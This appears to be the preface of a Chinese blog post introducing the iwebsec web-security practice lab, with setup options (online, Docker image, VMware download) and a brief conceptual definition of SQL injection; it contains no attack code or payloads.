前言

  1. 在线靶场：点击此处即可到达靶场地址-->>>iwebsec
    image

2.本地搭建：使用官方所介绍的方法 点击跳转官网image
iwebsec官网

（1）docker hub下载，命令 docker pull iwebsec/iwebsec
（2）VMware虚拟机环境下载地址链接:https://pan.baidu.com/s/1ChCilzFPSedlA_Hv4NMkPA?pwd=0aib 提取码: 0aib
iwebsec靶场配套书籍《Web安全原理分析与实践》
这里更加推荐使用本地环境。

sql注入漏洞

SQL注入即是指web应用程序对用户输入数据的合法性没有判断或过滤不严，攻击者可以在web应用程序中事先定义好的查询语句的结尾上添加额外的SQL语句，在管理员不知情的情况下实现非法操作，以此来实现欺骗数据库服务器执行非授权的任意查询，从而进一步得到相应的数据信息。
